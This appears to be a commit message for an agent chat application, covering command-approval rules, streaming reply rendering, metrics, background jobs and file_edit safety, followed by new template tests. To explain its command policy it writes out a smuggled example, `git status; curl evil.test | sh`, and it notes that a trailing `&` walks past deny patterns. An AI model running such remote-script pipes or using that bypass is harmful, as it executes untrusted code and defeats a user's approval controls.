A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

tests/test_chat.py

@@ -875,3 +875,62 @@ def _user_id(db):
     from lembas.db.models import User
 
     return db.scalar(select(User.id))
+
+
+def test_both_branches_of_the_bubble_render_the_same_partial():
+    """The streaming shell and the finished bubble are built from one builder,
+    so a reply cannot rearrange itself the moment the stream ends -- which is
+    what it used to do the other way round, three zones either side."""
+    from pathlib import Path
+
+    import lembas
+
+    source = (
+        Path(lembas.__file__).parent / "web/templates/chat/_message.html"
+    ).read_text()
+
+    assert source.count('include "chat/_steps.html"') == 2
+
+
+def test_no_template_still_asks_for_a_tools_frame():
+    """`tools` is gone: what it carried lives inside `steps`, which moves once a
+    round instead of twelve times a second. A leftover `sse-swap="tools"` would
+    be a container nothing ever fills."""
+    from pathlib import Path
+
+    import lembas
+
+    root = Path(lembas.__file__).parent / "web/templates"
+    for path in root.rglob("*.html"):
+        assert 'sse-swap="tools"' not in path.read_text(), path
+
+
+def test_the_steps_frame_carries_the_live_containers():
+    """That is how the tail blanks itself. When a round closes, what was being
+    written becomes a step above; re-emitting these two empty is what stops it
+    also showing below -- and it lets `reasoning` and `render` keep their
+    never-send-an-empty-one guard, which is what makes reattaching work."""
+    from types import SimpleNamespace
+
+    from lembas.web.templating import templates
+
+    html = templates.get_template("chat/_steps.html").render(
+        {"steps": [], "live": True, "message": SimpleNamespace(id="m1", reasoning_ms=0)}
+    )
+
+    assert 'sse-swap="reasoning"' in html
+    assert 'sse-swap="render"' in html
+
+
+def test_the_finished_bubble_carries_no_live_containers():
+    """The mirror of the above. A finished reply with an `sse-swap` in it is a
+    container waiting for a stream that is over."""
+    from types import SimpleNamespace
+
+    from lembas.web.templating import templates
+
+    html = templates.get_template("chat/_steps.html").render(
+        {"steps": [], "live": False, "message": SimpleNamespace(id="m1", reasoning_ms=0)}
+    )
+
+    assert "sse-swap" not in html